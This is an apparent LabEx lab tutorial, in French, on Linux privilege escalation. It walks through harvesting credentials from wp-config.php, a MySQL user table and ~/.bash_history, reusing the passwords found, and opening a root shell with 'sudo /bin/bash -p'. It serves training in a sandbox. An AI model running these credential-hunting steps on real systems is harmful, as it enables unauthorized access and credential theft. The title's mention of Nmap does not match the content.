Trouver et exploiter les fichiers de configuration sensibles pour l'élévation de privilèges dans Nmap

Introduction

Dans ce laboratoire (lab), nous allons apprendre à trouver et exploiter des fichiers de configuration sensibles sur un système Linux pour élever nos privilèges jusqu'au niveau de l'utilisateur root. L'objectif est de mieux comprendre les fichiers de configuration des services web et les fichiers de configuration liés aux utilisateurs, ainsi que de savoir comment les utiliser pour élever ses privilèges. Nous supposerons que nous avons déjà obtenu un shell à faible privilège, comme celui de l'utilisateur www-data, via une vulnérabilité web, et nous explorerons des techniques pour élever notre accès au niveau de l'utilisateur root.

Examen des fichiers de configuration des services web

Les fichiers de configuration des services web peuvent contenir des informations sensibles, telles que les identifiants de base de données, qui peuvent être utilisées pour élever ses privilèges si l'administrateur a réutilisé des mots de passe.

Tout d'abord, ouvrez un terminal et accédez au répertoire /home/labex/project.
```
cd /home/labex/project
```
Commençons par initialiser l'environnement de laboratoire (lab) :
```
./env_setup_1.sh
```
Après l'initialisation, nous opérons maintenant en tant qu'utilisateur www-data, simulant un shell à faible privilège obtenu via une vulnérabilité web.
Les services web sur Linux sont généralement stockés dans le répertoire /var/www. Nous devrions nous concentrer sur les fichiers suivants :
- database.php
- user.php
- *.config
- config.php
Nous pouvons rechercher ces fichiers en utilisant la commande suivante :
```
find /var/www -type f \( -iname "user.php" -o -iname "database.php" -o -iname "config.php" -o -iname "*.config" \) 2> /dev/null
```
Sortie attendue :
```
/var/www/wordpress/wp-admin/includes/user.php
/var/www/wordpress/wp-includes/user.php
/var/www/wordpress/wp-content/plugins/akismet/views/config.php
```
De plus, si le système cible utilise un Système de Gestion de Contenu (Content Management System - CMS), nous pouvons rechercher l'emplacement par défaut du fichier de connexion à la base de données pour ce CMS spécifique.
Dans cet environnement de laboratoire, le serveur utilise le CMS WordPress. En effectuant une recherche, nous trouvons que la configuration de la base de données WordPress est stockée dans le fichier /var/www/wordpress/wp-config.php :
```
more /var/www/wordpress/wp-config.php
```
Ce fichier contient les identifiants du compte root de MySQL :
```
/** Nom d'utilisateur de la base de données MySQL */
define( 'DB_USER', 'root' );

/** Mot de passe de la base de données MySQL */
define( 'DB_PASSWORD', 'cD8M2M8fMiDHu4m1' );
```
Compte tenu de la possibilité que l'administrateur ait réutilisé le mot de passe, nous pouvons essayer de nous connecter en tant qu'utilisateur root du système en utilisant ce mot de passe :
```
su -
```
Malheureusement, ce mot de passe ne fonctionne pas pour l'utilisateur root.
Ensuite, nous pouvons nous connecter à la base de données MySQL et rechercher plus d'informations :
```
mysql -u root -p -h 127.0.0.1
```
Entrez le mot de passe du fichier wp-config.php :
```
cD8M2M8fMiDHu4m1
```
À l'intérieur de la base de données MySQL, nous pouvons exécuter les commandes suivantes pour collecter plus d'informations :

Vérifiez les bases de données disponibles :
```
show databases;
```
Sélectionnez la base de données ROB :
```
use ROB;
```
Liste les tables de la base de données ROB :
```
show tables;
```
Sélectionnez la table rob_user :
```
select * from rob_user;
```
À partir de la base de données, nous obtenons deux autres ensembles d'identifiants :
```
root:CMPc5MoAGf
alice:psoj9apv4u
```
Quittez la base de données MySQL :
```
exit
```
Nous pouvons essayer de nous connecter en tant qu'utilisateur root en utilisant le mot de passe CMPc5MoAGf :
```
su -
```
Entrez le mot de passe que nous avons obtenu de la base de données :
```
CMPc5MoAGf
```
Cette fois, nous obtenons avec succès l'accès root!
Créez un fichier nommé proof.txt dans le répertoire /root pour démontrer l'élévation de privilèges réussie :
```
echo "Success" > /root/proof.txt
```
Vérifiez que le fichier a été créé :
```
ls /root/proof.txt
```

Dans cette étape, nous avons appris à trouver et exploiter des informations sensibles dans les fichiers de configuration des services web pour élever nos privilèges. L'idée principale est de rechercher des identifiants d'authentification sur le serveur et d'exploiter la réutilisation potentielle de mots de passe pour élever ses privilèges.

Examen des fichiers de configuration liés aux utilisateurs

Dans cette étape, nous allons nous concentrer sur les fichiers de configuration liés aux utilisateurs qui peuvent contenir des informations sensibles.

Après l'étape précédente, vous pouvez toujours être connecté en tant qu'utilisateur root. Pour cette étape, nous allons revenir à l'utilisateur labex en exécutant la commande suivante :

su - labex

Tout d'abord, accédez au répertoire /home/labex/project.
```
cd /home/labex/project
```
Commençons par initialiser l'environnement de laboratoire (lab) :
```
./env_setup_2.sh
```
Après l'initialisation, nous opérons maintenant en tant qu'utilisateur user001.
Les deux principaux fichiers de configuration liés aux utilisateurs à examiner sont :
- ~/.bash_profile : Utilisé pour configurer les variables d'environnement et les programmes de démarrage. Ce fichier est exécuté lorsque l'utilisateur se connecte (login).
- ~/.bash_history : Un fichier dans le répertoire personnel de chaque utilisateur qui enregistre l'historique des commandes shell de l'utilisateur, généralement les dernières 1000 commandes (cette fonctionnalité peut être désactivée sur certaines distributions Linux).
Commençons par vérifier le fichier ~/.bash_profile :
```
cat ~/.bash_profile
```
Sortie attendue :
```
cat: /home/user001/.bash_profile: No such file or directory
```
Dans ce cas, l'utilisateur user001 ne semble pas utiliser le fichier ~/.bash_profile.
Ensuite, vérifions le fichier ~/.bash_history :
```
cat ~/.bash_history
```
Ici, nous trouvons une commande enregistrée dans l'historique :
```
...
echo user001:09FMWNFS7n | chpasswd
...
```
Cette commande indique que le mot de passe de l'utilisateur user001 a été changé en 09FMWNFS7n.
Nous pouvons essayer d'utiliser ce mot de passe pour obtenir des privilèges élevés :
```
sudo whoami
```
Et entrez le mot de passe que nous avons trouvé dans le fichier ~/.bash_history :
```
09FMWNFS7n
```
Le mot de passe fonctionne, et nous pouvons exécuter des commandes avec les privilèges sudo.
Pour obtenir un shell root, nous pouvons utiliser la commande suivante :
```
sudo /bin/bash -p
```
Nous avons obtenu avec succès un shell root en exploitant les informations de l'historique des commandes de l'utilisateur.
Enfin, créez un fichier nommé success.txt dans le répertoire /root pour terminer le laboratoire (lab) :
```
echo "Congratulations" | sudo tee /root/success.txt
```

Résumé

Dans ce laboratoire (lab), nous avons appris à trouver et exploiter des informations sensibles dans les fichiers de configuration des services web et les fichiers de configuration liés aux utilisateurs pour élever nos privilèges sur un système Linux. Nous avons exploré des techniques pour rechercher des fichiers qui peuvent contenir des identifiants d'authentification, tels que les fichiers de connexion à la base de données, l'historique des commandes des utilisateurs et d'autres fichiers de configuration. En exploitant la réutilisation potentielle de mots de passe, nous avons pu obtenir l'accès root.

Le principal enseignement est de toujours être à l'affût des informations sensibles stockées sur le système, car elles peuvent potentiellement conduire à une élévation de privilèges. Bien que ce laboratoire se soit concentré sur des types spécifiques de fichiers, il est essentiel de maintenir une approche consistant à rechercher en permanence tout fichier ou information pouvant être exploitée à des fins d'élévation de privilèges.